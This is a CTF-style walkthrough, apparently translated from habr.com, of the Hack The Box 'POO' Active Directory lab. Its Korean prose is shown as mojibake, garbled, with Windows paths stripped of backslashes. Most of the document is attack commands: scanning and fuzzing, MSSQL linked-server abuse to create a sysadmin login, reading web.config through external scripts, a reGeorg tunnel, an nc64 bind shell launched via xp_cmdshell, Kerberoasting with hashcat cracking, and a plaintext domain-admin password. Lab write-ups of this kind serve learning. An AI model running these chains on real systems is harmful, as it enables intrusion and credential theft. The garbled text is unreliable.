์ด ๊ธฐ์ฌ์์๋ ๊ธฐ๊ณ๋ฟ๋ง ์๋๋ผ ์ฌ์ดํธ์์ ์ ์ฒด ๋ฏธ๋ ์คํ์ค์ ํต๊ณผ๋ฅผ ๋ถ์ํฉ๋๋ค.
์ค๋ช ์ ๋ช ์๋ ๋ฐ์ ๊ฐ์ด POO๋ ์๊ท๋ชจ Active Directory ํ๊ฒฝ์์ ๊ณต๊ฒฉ์ ๋ชจ๋ ๋จ๊ณ์์ ๊ธฐ์ ์ ํ ์คํธํ๋๋ก ์ค๊ณ๋์์ต๋๋ค. ๋ชฉํ๋ ์ฌ์ฉ ๊ฐ๋ฅํ ํธ์คํธ๋ฅผ ์์์ํค๊ณ ๊ถํ์ ์์ค์ปฌ๋ ์ด์ ํ๋ฉฐ ํ๋ก์ธ์ค์์ 5๊ฐ์ ํ๋๊ทธ๋ฅผ ์์งํ์ฌ ๊ฒฐ๊ตญ ์ ์ฒด ๋๋ฉ์ธ์ ์์์ํค๋ ๊ฒ์ ๋๋ค.
์คํ์ค ์ฐ๊ฒฐ์ VPN์ ํตํด ์ด๋ฃจ์ด์ง๋๋ค. ์ ๋ณด ๋ณด์์ ๋ํด ์๋ ์ฌ๋๋ค๊ณผ ์ฌ์ค ๋คํธ์ํฌ์ ๋ค์ด๊ฐ๊ธฐ ๋๋ฌธ์ ์๋ ์ค์ธ ์ปดํจํฐ๋ ์ค์ํ ๋ฐ์ดํฐ๊ฐ ์๋ ํธ์คํธ์์ ์ฐ๊ฒฐํ์ง ์๋ ๊ฒ์ด ์ข์ต๋๋ค ๐
์กฐ์ง ์ ๋ณด
์๋ก์ด ๊ธฐ์ฌ, ์ํํธ์จ์ด ๋ฐ ๊ธฐํ ์ ๋ณด์ ๋ํด ์์๋ณผ ์ ์๋๋ก
๋ชจ๋ ์ ๋ณด๋ ๊ต์ก ๋ชฉ์ ์ผ๋ก๋ง ์ ๊ณต๋ฉ๋๋ค. ์ด ๋ฌธ์์ ์ ์๋ ์ด ๋ฌธ์๋ฅผ ์ฐ๊ตฌํ ๊ฒฐ๊ณผ ์ป์ ์ง์๊ณผ ๋ฐฉ๋ฒ์ ์ฌ์ฉํ ๊ฒฐ๊ณผ๋ก ์ธํด ๋ฐ์ํ ๋ชจ๋ ์ฌ๋์ ์ํด์ ๋ํด ์ฑ
์์ ์ง์ง ์์ต๋๋ค.
์๊ฐ
์ด ์ต์ข ๊ฒ์์ ๋ ๋์ ๊ธฐ๊ณ๋ก ๊ตฌ์ฑ๋๋ฉฐ 5๊ฐ์ ํ๋๊ทธ๋ฅผ ํฌํจํฉ๋๋ค.
์ฌ์ฉ ๊ฐ๋ฅํ ํธ์คํธ์ ์ค๋ช
๊ณผ ์ฃผ์๋ ์ ๊ณต๋ฉ๋๋ค.
์์ํ์!
์ ์ฐฐ๊ธฐ
์ด ๋จธ์ ์๋ /etc/hosts์ ์ถ๊ฐํ 10.13.38.11์ IP ์ฃผ์๊ฐ ์์ต๋๋ค.
10.13.38.11 poo.htb
์ฒซ ๋ฒ์งธ ๋จ๊ณ๋ ์ด๋ฆฐ ํฌํธ๋ฅผ ์ค์บํ๋ ๊ฒ์ ๋๋ค. nmap์ผ๋ก ๋ชจ๋ ํฌํธ๋ฅผ ์ค์บํ๋ ค๋ฉด ์๊ฐ์ด ์ค๋ ๊ฑธ๋ฆฌ๊ธฐ ๋๋ฌธ์ ๋จผ์ masscan์ผ๋ก ํ๊ฒ ์ต๋๋ค. 0pps์์ tun500 ์ธํฐํ์ด์ค์ ๋ชจ๋ TCP ๋ฐ UDP ํฌํธ๋ฅผ ์ค์บํฉ๋๋ค.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
์ด์ ํฌํธ์์ ์คํ๋๋ ์๋น์ค์ ๋ํ ์์ธํ ์ ๋ณด๋ฅผ ์ป๊ธฐ ์ํด -A ์ต์
์ ์ฌ์ฉํ์ฌ ์ค์บ์ ์คํํด ๋ณด๊ฒ ์ต๋๋ค.
nmap -A poo.htb -p80,1433
๋ฐ๋ผ์ IIS ๋ฐ MSSQL ์๋น์ค๊ฐ ์์ต๋๋ค. ์ด ๊ฒฝ์ฐ ๋๋ฉ์ธ๊ณผ ์ปดํจํฐ์ ์ค์ DNS ์ด๋ฆ์ ์ฐพ์ต๋๋ค. ์น ์๋ฒ์์ IIS ํ ํ์ด์ง๊ฐ ์ฐ๋ฆฌ๋ฅผ ๋ง์ดํฉ๋๋ค.
๋๋ ํ ๋ฆฌ๋ฅผ ๋ฐ๋ณตํด ๋ด
์๋ค. ๋๋ ์ด๊ฒ์ ์ํด ๊ณ ๋ฒ์คํฐ๋ฅผ ์ฌ์ฉํฉ๋๋ค. ๋งค๊ฐ ๋ณ์์์ ์คํธ๋ฆผ 128(-t), URL(-u), ์ฌ์ (-w) ๋ฐ ๊ด์ฌ ์๋ ํ์ฅ(-x)์ ์๋ฅผ ์ง์ ํฉ๋๋ค.
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
๋ฐ๋ผ์ /admin ๋๋ ํ ๋ฆฌ์ ๋ํ HTTP ์ธ์ฆ๊ณผ .DS_Store ๋ฐ์คํฌํ ์๋น์ค ์คํ ๋ฆฌ์ง ํ์ผ์ ์ฌ์ฉํ ์ ์์ต๋๋ค. .DS_Store๋ ํ์ผ ๋ชฉ๋ก, ์์ด์ฝ ์์น, ์ ํํ ๋ฐฐ๊ฒฝ ์ด๋ฏธ์ง์ ๊ฐ์ ํด๋์ ๋ํ ์ฌ์ฉ์ ์ค์ ์ ์ ์ฅํ๋ ํ์ผ์
๋๋ค. ์ด๋ฌํ ํ์ผ์ ์น ๊ฐ๋ฐ์์ ์น ์๋ฒ ๋๋ ํ ๋ฆฌ์ ์์ ์ ์์ต๋๋ค. ๋ฐ๋ผ์ ๋๋ ํ ๋ฆฌ ๋ด์ฉ์ ๋ํ ์ ๋ณด๋ฅผ ์ป์ต๋๋ค. ์ด๋ฅผ ์ํด ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
python3 dsstore_crawler.py -i http://poo.htb/
์ฐ๋ฆฌ๋ ๋๋ ํ ๋ฆฌ์ ๋ด์ฉ์ ์ป์ต๋๋ค. ์ฌ๊ธฐ์ ๊ฐ์ฅ ํฅ๋ฏธ๋ก์ด ์ ์ /dev ๋๋ ํ ๋ฆฌ์ธ๋ฐ, ์ฌ๊ธฐ์์ ์์ค์ db ํ์ผ์ ๋ ๊ฐ์ง๋ก ๋ณผ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ ์๋น์ค๊ฐ IIS ShortName์ ์ทจ์ฝํ ๊ฒฝ์ฐ ํ์ผ ๋ฐ ๋๋ ํฐ๋ฆฌ ์ด๋ฆ์ ์ฒ์ 6์๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๋ค์์ ์ฌ์ฉํ์ฌ ์ด ์ทจ์ฝ์ ์ ํ์ธํ ์ ์์ต๋๋ค.
๊ทธ๋ฆฌ๊ณ "poo_co"๋ก ์์ํ๋ ํ๋์ ํ
์คํธ ํ์ผ์ ์ฐพ์ต๋๋ค. ๋ค์์ ๋ฌด์์ ํด์ผํ ์ง ๋ชฐ๋ผ์ ๋๋ ํ ๋ฆฌ ์ฌ์ ์์ "co"๋ก ์์ํ๋ ๋ชจ๋ ๋จ์ด๋ฅผ ์ ํํ์ต๋๋ค.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
๊ทธ๋ฆฌ๊ณ wfuzz๋ก ๋ฐ๋ณตํฉ๋๋ค.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
๊ทธ๋ฆฌ๊ณ ์ฌ๋ฐ๋ฅธ ๋จ์ด๋ฅผ ์ฐพ์ผ์ญ์์ค! ์ด ํ์ผ์๋ณด๊ณ ์๊ฒฉ ์ฆ๋ช
์ ์ ์ฅํฉ๋๋ค (DBNAME ๋งค๊ฐ ๋ณ์๋ก ํ๋จํ๋ฉด MSSQL์์ ๊ฐ์ ธ์จ ๊ฒ์
๋๋ค).
๊น๋ฐ์ ๋๊ธฐ๊ณ 20% ์ ์งํฉ๋๋ค.
ํ ํ๋๊ทธ
์ฐ๋ฆฌ๋ MSSQL์ ์ฐ๊ฒฐํ๊ณ ์ ๋ DBeaver๋ฅผ ์ฌ์ฉํฉ๋๋ค.
์ด ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ํฅ๋ฏธ๋ก์ด ๊ฒ์ ์ฐพ์ง ๋ชปํ์ต๋๋ค. SQL ํธ์ง๊ธฐ๋ฅผ ๋ง๋ค๊ณ ์ฌ์ฉ์๊ฐ ๋ฌด์์ธ์ง ํ์ธํ๊ฒ ์ต๋๋ค.
SELECT name FROM master..syslogins;
๋ ๋ช
์ ์ฌ์ฉ์๊ฐ ์์ต๋๋ค. ์ฐ๋ฆฌ์ ํน๊ถ์ ํ์ธํฉ์๋ค.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
๋ฐ๋ผ์ ํน๊ถ์ด ์์ต๋๋ค. ์ฐ๊ฒฐ๋ ์๋ฒ๋ฅผ ๋ณด์, ๋๋ ์ด ๊ธฐ์ ์ ๋ํด ์์ธํ ์ผ๋ค
SELECT * FROM master..sysservers;
๊ทธ๋์ ์ฐ๋ฆฌ๋ ๋ค๋ฅธ SQL Server๋ฅผ ์ฐพ์ต๋๋ค. openquery()๋ฅผ ์ฌ์ฉํ์ฌ ์ด ์๋ฒ์์ ๋ช
๋ น ์คํ์ ํ์ธํฉ์๋ค.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
๊ทธ๋ฆฌ๊ณ ์ฟผ๋ฆฌ ํธ๋ฆฌ๋ฅผ ๋ง๋ค ์๋ ์์ต๋๋ค.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
์ฌ์ค ์ฐ๊ฒฐ๋ ์๋ฒ์ ์์ฒญ์ ํ๋ฉด ๋ค๋ฅธ ์ฌ์ฉ์์ ์ปจํ ์คํธ์์ ์์ฒญ์ด ์คํ๋ฉ๋๋ค! ์ฐ๊ฒฐ๋ ์๋ฒ์์ ์คํ ์ค์ธ ์ฌ์ฉ์ ์ปจํ ์คํธ๋ฅผ ์ดํด๋ณด๊ฒ ์ต๋๋ค.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
์ด์ ์ฐ๊ฒฐ๋ ์๋ฒ์์ ์ฐ๋ฆฌ ์๋ฒ๋ก์ ์์ฒญ์ด ์ด๋ค ์ปจํ
์คํธ์์ ์คํ๋๋์ง ์ดํด๋ณด๊ฒ ์ต๋๋ค!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
๋ฐ๋ผ์ ๋ชจ๋ ๊ถํ์ ๊ฐ์ ธ์ผ ํ๋ DBO ์ปจํ
์คํธ์
๋๋ค. ์ฐ๊ฒฐ๋ ์๋ฒ์์ ์์ฒญํ ๊ฒฝ์ฐ ๊ถํ์ ํ์ธํฉ์๋ค.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
๋ณด์๋ค์ํผ, ์ฐ๋ฆฌ๋ ๋ชจ๋ ํน๊ถ์ ๊ฐ์ง๊ณ ์์ต๋๋ค! ์ด๋ ๊ฒ ๊ด๋ฆฌ์๋ฅผ ๋ง๋ค์ด ๋ด
์๋ค. ๊ทธ๋ฌ๋ ๊ทธ๋ค์ openquery๋ฅผ ํตํด ํ์ฉํ์ง ์์ต๋๋ค. EXECUTE AT๋ฅผ ํตํด ์ํํ๊ฒ ์ต๋๋ค.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
์ด์ ์ ์ฌ์ฉ์์ ์๊ฒฉ ์ฆ๋ช ์ผ๋ก ์ฐ๊ฒฐํ๊ณ ์ ํ๋๊ทธ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ๊ด์ฐฐํฉ๋๋ค.
์ด ๊น๋ฐ์ ๋๊ฒจ์ฃผ๊ณ ๋ ๋์๊ฐ๋๋ค.
์ญ์ถ์ ํ๋๊ทธ
MSSQL์ ์ฌ์ฉํ์ฌ ์ ธ์ ๊ฐ์ ธ์ค๊ฒ ์ต๋๋ค. ์ ๋ impacket ํจํค์ง์ mssqlclient๋ฅผ ์ฌ์ฉํ๊ณ ์์ต๋๋ค.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
์ฐ๋ฆฌ๋ ์ํธ๋ฅผ ์ป์ด์ผ ํ๊ณ , ์ฐ๋ฆฌ๊ฐ ์ด๋ฏธ ๋ง๋ ์ฒซ ๋ฒ์งธ ๊ฒ์ ์ฌ์ดํธ์
๋๋ค. ๋ฐ๋ผ์ ์น ์๋ฒ ๊ตฌ์ฑ์ด ํ์ํฉ๋๋ค(ํธ๋ฆฌํ ์
ธ์ ๋์ง๋ ๊ฒ์ ๋ถ๊ฐ๋ฅํ๋ฉฐ ๋ถ๋ช
ํ ๋ฐฉํ๋ฒฝ์ด ์๋ํฉ๋๋ค).
๊ทธ๋ฌ๋ ์ก์ธ์ค๊ฐ ๊ฑฐ๋ถ๋์์ต๋๋ค. MSSQL์์ ํ์ผ์ ์ฝ์ ์ ์์ง๋ง ์ด๋ค ํ๋ก๊ทธ๋๋ฐ ์ธ์ด๊ฐ ๊ตฌ์ฑ๋์ด ์๋์ง ์์์ผ ํฉ๋๋ค. ๊ทธ๋ฆฌ๊ณ MSSQL ๋๋ ํ ๋ฆฌ์์ ์ฐ๋ฆฌ๋ ํ์ด์ฌ์ด ์๋ค๋ ๊ฒ์ ์๊ฒ ๋ฉ๋๋ค.
๊ทธ๋ฌ๋ฉด web.config ํ์ผ์ ์ฝ๋ ๋ฐ ๋ฌธ์ ๊ฐ ์์ต๋๋ค.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
์๊ฒฉ ์ฆ๋ช
์ ์ฐพ์ ์ํ์์ /admin์ผ๋ก ์ด๋ํ์ฌ ํ๋๊ทธ๋ฅผ ์ ํํฉ๋๋ค.
๊ฑฐ์ ๊น๋ฐ
์ฌ์ค ๋ฐฉํ๋ฒฝ ์ฌ์ฉ์ ๋ฐ๋ฅธ ๋ถํธํจ๋ ์์ง๋ง ๋คํธ์ํฌ ์ค์ ์ ์ดํด๋ณด๋ฉด IPv6 ํ๋กํ ์ฝ๋ ์ฌ์ฉํ๊ณ ์์์ ์ ์ ์์ต๋๋ค!
์ด ์ฃผ์๋ฅผ /etc/hosts์ ์ถ๊ฐํ์ญ์์ค.
dead:babe::1001 poo6.htb
์ด๋ฒ์๋ IPv6์ ํตํด ํธ์คํธ๋ฅผ ๋ค์ ์ค์บํด ๋ณด๊ฒ ์ต๋๋ค.
๊ทธ๋ฆฌ๊ณ WinRM ์๋น์ค๋ IPv6์ ํตํด ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ฐพ์ ์๊ฒฉ ์ฆ๋ช
์ผ๋ก ์ฐ๊ฒฐํด ๋ณด๊ฒ ์ต๋๋ค.
๋ฐํ ํ๋ฉด์ ๊น๋ฐ์ด ์์ต๋๋ค.
P00ned ํ๋๊ทธ
ํธ์คํธ ์ ์ฐฐ ํ
setspn.exe -T intranet.poo -Q */*
MSSQL์ ํตํด ๋ช
๋ น์ ์คํํด ๋ด
์๋ค.
์ด๋ฐ ์์ผ๋ก ์ฌ์ฉ์ p00_hr ๋ฐ p00_adm์ SPN์ ์ป์ต๋๋ค. ์ฆ, Kerberoasting๊ณผ ๊ฐ์ ๊ณต๊ฒฉ์ ์ทจ์ฝํ๋ค๋ ์๋ฏธ์
๋๋ค. ์์ปจ๋, ์ํธ์ ํด์๋ฅผ ์ป์ ์ ์์ต๋๋ค.
๋จผ์ MSSQL ์ฌ์ฉ์๋ฅผ ๋์ ํ์ฌ ์์ ์ ์ธ ์
ธ์ ๊ฐ์ ธ์์ผ ํฉ๋๋ค. ๊ทธ๋ฌ๋ ์ก์ธ์ค๊ฐ ์ ํ๋์ด ์๊ธฐ ๋๋ฌธ์ ํฌํธ 80๊ณผ 1433์ ํตํด์๋ง ํธ์คํธ์ ์ฐ๊ฒฐํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ ํฌํธ 80์ ํตํด ํธ๋ํฝ์ ํฐ๋๋งํ๋ ๊ฒ์ ๊ฐ๋ฅํฉ๋๋ค! ์ด๋ฅผ ์ํด ์ฐ๋ฆฌ๋ ์ฌ์ฉํ ๊ฒ์
๋๋ค
๊ทธ๋ฐ๋ฐ ์ ๊ทผ์ ์๋ํ๋ฉด 404 ์๋ฌ๊ฐ ๋ฐ์ํ๋๋ฐ ์ด๋ *.aspx ํ์ผ์ด ์คํ๋์ง ์๋๋ค๋ ๋ป์
๋๋ค. ์ด๋ฌํ ํ์ฅ์๋ฅผ ๊ฐ์ง ํ์ผ์ ์คํํ๋ ค๋ฉด ๋ค์๊ณผ ๊ฐ์ด ASP.NET 4.5๋ฅผ ์ค์นํฉ๋๋ค.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
๊ทธ๋ฆฌ๊ณ ์ด์ tunnel.aspx์ ์ก์ธ์คํ ๋ ๋ชจ๋ ๊ฒ์ด ์ค๋น๋์๋ค๋ ๋๋ต์ ์ป์ต๋๋ค.
ํธ๋ํฝ์ ๋ฆด๋ ์ดํ ์ ํ๋ฆฌ์ผ์ด์
์ ํด๋ผ์ด์ธํธ ๋ถ๋ถ์ ์์ํ๊ฒ ์ต๋๋ค. ํฌํธ 5432์ ๋ชจ๋ ํธ๋ํฝ์ ์๋ฒ๋ก ์ ๋ฌํฉ๋๋ค.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
๊ทธ๋ฆฌ๊ณ ํ๋ก์์ฒด์ธ์ ์ฌ์ฉํ์ฌ ํ๋ก์๋ฅผ ํตํด ๋ชจ๋ ์ ํ๋ฆฌ์ผ์ด์
์ ํธ๋ํฝ์ ๋ณด๋
๋๋ค. ์ด ํ๋ก์๋ฅผ /etc/proxychains.conf ๊ตฌ์ฑ ํ์ผ์ ์ถ๊ฐํด ๋ณด๊ฒ ์ต๋๋ค.
์ด์ ์๋ฒ์ ํ๋ก๊ทธ๋จ์ ์
๋ก๋ํ์
์ด์ MSSQL์ ํตํด ์์ ๊ธฐ๋ฅผ ์์ํฉ๋๋ค.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
๊ทธ๋ฆฌ๊ณ ํ๋ก์๋ฅผ ํตํด ์ฐ๊ฒฐํฉ๋๋ค.
proxychains rlwrap nc poo.htb 4321
๊ทธ๋ฆฌ๊ณ ํด์๋ฅผ ์ป์.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
๋ค์์ผ๋ก ์ด๋ฌํ ํด์๋ฅผ ๋ฐ๋ณตํด์ผ ํฉ๋๋ค. rockyou์๋ ์ํธ ๋ฐ์ดํฐ ์ฌ์ ์ด ์์๊ธฐ ๋๋ฌธ์ Seclists์์ ์ ๊ณตํ๋ ๋ชจ๋ ์ํธ ์ฌ์ ์ ์ฌ์ฉํ์ต๋๋ค. ์ด๊ฑฐ์๋ hashcat์ ์ฌ์ฉํฉ๋๋ค.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
๊ทธ๋ฆฌ๊ณ dutch_passwordlist.txt ์ฌ์ ์์ ์ฒซ ๋ฒ์งธ ์ํธ์ Keyboard-Combinations.txt์์ ๋ ๋ฒ์งธ ์ํธ๋ฅผ ๋ชจ๋ ์ฐพ์ต๋๋ค.
์ฌ์ฉ์๊ฐ XNUMX๋ช
์ด๋ฏ๋ก ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ๋ก ์ด๋ํฉ๋๋ค. ๋จผ์ ๊ทธ์ ์ฃผ์๋ฅผ ์์๋ด
์๋ค.
์ข์ต๋๋ค. ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ์ IP ์ฃผ์๋ฅผ ๋ฐฐ์ ์ต๋๋ค. ๋๋ฉ์ธ์ ๋ชจ๋ ์ฌ์ฉ์์ ๊ทธ ์ค ๋๊ฐ ๊ด๋ฆฌ์์ธ์ง ์์๋ด
์๋ค. PowerView.ps1 ์ ๋ณด๋ฅผ ์ป๊ธฐ ์ํด ์คํฌ๋ฆฝํธ๋ฅผ ๋ค์ด๋ก๋ํ๋ ค๋ฉด. ๊ทธ๋ฐ ๋ค์ -s ๋งค๊ฐ๋ณ์์์ ์คํฌ๋ฆฝํธ๋ก ๋๋ ํ ๋ฆฌ๋ฅผ ์ง์ ํ์ฌ evil-winrm์ ์ฌ์ฉํ์ฌ ์ฐ๊ฒฐํฉ๋๋ค. ๊ทธ๋ฐ ๋ค์ PowerView ์คํฌ๋ฆฝํธ๋ฅผ ๋ก๋ํ๊ธฐ๋ง ํ๋ฉด ๋ฉ๋๋ค.
์ด์ ๋ชจ๋ ๊ธฐ๋ฅ์ ์ก์ธ์คํ ์ ์์ต๋๋ค. p00_adm ์ฌ์ฉ์๋ ๊ถํ์ด ์๋ ์ฌ์ฉ์์ฒ๋ผ ๋ณด์ด๋ฏ๋ก ํด๋น ์ปจํ
์คํธ์์ ์์
ํฉ๋๋ค. ์ด ์ฌ์ฉ์์ ๋ํ PSCredential ๊ฐ์ฒด๋ฅผ ๋ง๋ค์ด ๋ณด๊ฒ ์ต๋๋ค.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
์ด์ Cred๋ฅผ ์ง์ ํ๋ ๋ชจ๋ Powershell ๋ช ๋ น์ด p00_adm์ ๋์ ํ์ฌ ์คํ๋ฉ๋๋ค. ์ฌ์ฉ์ ๋ชฉ๋ก๊ณผ AdminCount ์์ฑ์ ํ์ํด ๋ณด๊ฒ ์ต๋๋ค.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
๋ฐ๋ผ์ ์ฐ๋ฆฌ ์ฌ์ฉ์๋ ์ ๋ง ํน๊ถ์ด ์์ต๋๋ค. ๊ทธ๊ฐ ์ํ ๊ทธ๋ฃน์ ๋ณด์.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
์ต์ข
์ ์ผ๋ก ์ฌ์ฉ์๊ฐ ๋๋ฉ์ธ ๊ด๋ฆฌ์์์ ํ์ธํฉ๋๋ค. ์ด๋ ๊ฒ ํ๋ฉด ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ์ ์๊ฒฉ์ผ๋ก ๋ก๊ทธ์จํ ์ ์๋ ๊ถํ์ด ๋ถ์ฌ๋ฉ๋๋ค. ํฐ๋์ ์ฌ์ฉํ์ฌ WinRM์ผ๋ก ๋ก๊ทธ์ธํด ๋ณด๊ฒ ์ต๋๋ค. ๋๋ evil-winrm์ ์ฌ์ฉํ ๋ reGeorg์์ ๋ฐ์ํ ์ค๋ฅ๋ก ์ธํด ํผ๋์ค๋ฌ์ ์ต๋๋ค.
๊ทธ๋ฐ ๋ค์ ๋ค๋ฅธ ๋ ์ฌ์ด ๋ฐฉ๋ฒ์ ์ฌ์ฉํฉ๋๋ค.
์ฐ๋ฆฌ๋ ์ฐ๊ฒฐ์ ์๋ํ๊ณ ์์คํ
์ ์์ต๋๋ค.
๊ทธ๋ฌ๋ ๊น๋ฐ์ ์์ต๋๋ค. ๊ทธ๋ฐ ๋ค์ ์ฌ์ฉ์๋ฅผ ๋ณด๊ณ ๋ฐ์คํฌํฑ์ ํ์ธํฉ๋๋ค.
mr3ks์์ ํ๋๊ทธ๋ฅผ ์ฐพ์๊ณ ์คํ์ค์ 100% ์๋ฃ๋์์ต๋๋ค.
๊ทธ๊ฒ ๋ค์ผ. ํผ๋๋ฐฑ์ผ๋ก ์ด ๋ฌธ์์์ ์๋ก์ด ๊ฒ์ ๋ฐฐ์ ๋์ง, ์ ์ฉํ๋์ง์ ๋ํด ์๊ฒฌ์ ๋งํ์ญ์์ค.
๋น์ ์ ์ฐ๋ฆฌ์ ํจ๊ป ํ ์ ์์ต๋๋ค
์ถ์ฒ : habr.com